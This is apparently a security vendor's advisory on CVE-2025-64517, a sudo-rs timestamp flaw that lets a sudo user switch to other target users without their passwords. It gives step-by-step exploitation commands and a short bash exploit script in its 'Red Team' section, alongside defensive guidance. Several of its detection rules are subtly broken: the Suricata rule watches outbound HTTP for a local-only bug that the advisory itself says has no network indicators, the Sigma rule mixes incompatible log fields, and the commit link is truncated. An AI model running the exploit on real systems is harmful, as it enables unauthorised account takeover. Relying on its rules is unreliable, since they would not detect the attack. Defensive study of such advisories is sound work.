CVE-2025-64517

Executive Summary

CVE-2025-64517 is a privilege escalation vulnerability in sudo-rs, a memory-safe implementation of sudo and su written in Rust. The flaw resides in the authentication timestamp mechanism when the Defaults targetpw or Defaults rootpw configuration options are enabled. Instead of recording the UID of the user who was authenticated (the target user), sudo-rs incorrectly records the invoking user’s UID. This allows a highly-privileged user who knows one password (e.g., their own) to bypass authentication for other accounts they are permitted to run commands as, effectively negating the security intent of targetpw/rootpw. The vulnerability affects versions 0.2.5 through 0.2.9. Version 0.2.10 contains the fix.

Supply Chain & Package Security

sudo-rs is distributed as a Rust crate via crates.io. Organizations using sudo-rs in container images, CI/CD pipelines, or as a system utility should verify their dependency version. The Rust ecosystem’s supply chain is generally robust, but manual verification of the patched version is recommended. No malicious packages have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – attacker must already have sudo privileges to run commands as other users.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires existing high privileges, but the impact is significant: an attacker can impersonate any user they are allowed to run commands as, without knowing that user’s password.

Deep Dive & Mechanics

The vulnerability is rooted in the authentication timestamp logic. When Defaults targetpw is set, sudo-rs should authenticate against the target user’s password. After successful authentication, a timestamp file is created to allow subsequent sudo commands on the same terminal to skip re-authentication for a short period.

Flaw: In the vulnerable code, the timestamp records the UID of the invoking user (the one who ran sudo) instead of the UID of the authenticated target user. This means that if user alice (UID 1000) runs sudo -u bob and authenticates with Bob’s password, the timestamp is stored under UID 1000 (Alice). Later, if Alice runs sudo -u charlie, the system sees a valid timestamp for UID 1000 and skips authentication, even though Alice never provided Charlie’s password.

Attack Scenario:

1. Attacker has sudo privileges to run commands as bob and charlie.
2. Attacker knows Bob’s password.
3. Attacker runs sudo -u bob and authenticates with Bob’s password.
4. The timestamp is incorrectly stored under the attacker’s UID.
5. Within the timestamp validity window, attacker runs sudo -u charlie – no password prompt.
6. Attacker now executes commands as Charlie.

Vulnerable vs. Patched Code

Vulnerable (pseudo-Rust):

fn authenticate_and_record_timestamp(target_user: &User, invoking_user: &User) {
    // Authenticate using target_user's password
    if authenticate(target_user) {
        // BUG: records invoking_user's UID instead of target_user's UID
        let uid = invoking_user.uid;
        timestamp_store.set(uid, current_time());
    }
}

Patched (pseudo-Rust):

fn authenticate_and_record_timestamp(target_user: &User, invoking_user: &User) {
    // Authenticate using target_user's password
    if authenticate(target_user) {
        // FIX: records target_user's UID
        let uid = target_user.uid;
        timestamp_store.set(uid, current_time());
    }
}

The fix ensures that the timestamp is associated with the authenticated user, not the invoker.

Exploitation & Lab Setup

Red Team

Prerequisites:

• sudo-rs version 0.2.5 to 0.2.9 installed.
• Defaults targetpw or Defaults rootpw enabled in /etc/sudo-rs.toml.
• Attacker has sudo privileges to run commands as at least two other users.
• Attacker knows the password of one of those users.

Exploitation Steps:

1. Authenticate as the known user:

   sudo -u known_user whoami
   # Enter known_user's password when prompted
   

2. Immediately (within timestamp validity) run a command as another user:

   sudo -u other_user whoami
   # No password prompt – command executes as other_user
   

Automated Script (bash):

#!/bin/bash
# Exploit CVE-2025-64517
KNOWN_USER="bob"
TARGET_USER="charlie"
echo "Authenticating as $KNOWN_USER..."
echo "$KNOWN_USER_PASSWORD" | sudo -S -u $KNOWN_USER whoami
echo "Now running as $TARGET_USER without password..."
sudo -u $TARGET_USER whoami

Blue Team

Detection:

• Monitor for rapid succession of sudo -u commands targeting different users from the same terminal.
• Alert on sudo commands that do not prompt for a password when targetpw/rootpw is enabled.

Honeypot:

• Create a low-privilege user with sudo access to a dummy account. Monitor for unexpected passwordless transitions.

Log Analysis:

• Check /var/log/auth.log for sudo entries where the same terminal ID shows multiple target users without intervening authentication prompts.

Indicators of Compromise (IOCs)

• File: /var/run/sudo-rs/ts/<tty> – timestamp files may show incorrect UID.
• Log Entry: sudo-rs: authentication failure followed by successful command execution for a different user.
• Process: Unusual sudo -u chains from the same terminal.
• Network: No network IOCs – local privilege escalation only.

Detection Engineering

YARA Rule

rule CVE_2025_64517_sudo_rs_timestamp {
    meta:
        description = "Detects sudo-rs binaries vulnerable to CVE-2025-64517 based on version string"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64517"
    strings:
        $version = "sudo-rs 0.2." ascii wide
        $bad_versions = /sudo-rs 0\.2\.[5-9]/ ascii wide
    condition:
        $version and $bad_versions
}

Sigma Rule

title: CVE-2025-64517 - sudo-rs Authentication Bypass via targetpw
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-64517 where a user runs sudo commands as multiple target users without re-authentication.
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 1  # sudo session open
        CommandLine|contains: 'sudo -u'
    filter:
        CommandLine|contains: 'sudo -u root'  # root is common, exclude if needed
    condition: selection and not filter
    timeframe: 5s
    aggregation:
        - field: User
          condition: gt 1
falsepositives:
    - Legitimate use of sudo with multiple target users in quick succession (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64517 - sudo-rs Authentication Bypass Attempt"; flow:to_server,established; content:"sudo-rs"; nocase; content:"targetpw"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade sudo-rs to version 0.2.10 or later.
• If upgrade is not possible, disable Defaults targetpw and Defaults rootpw in the configuration file.

Compensating Controls:

• Enable verbose logging for sudo commands and monitor for anomalies.
• Implement multi-factor authentication for privileged sudo usage.
• Restrict sudo access to only necessary users and commands.

Long-term:

• Regularly audit sudo-rs configuration and version.
• Consider using the original sudo (written in C) if memory safety is not a critical requirement.

Patch Details:

• Fixed in commit: https://github.com/memorysafety/sudo-rs/commit/
• Release notes: https://github.com/memorysafety/sudo-rs/releases/tag/v0.2.10

Valters IT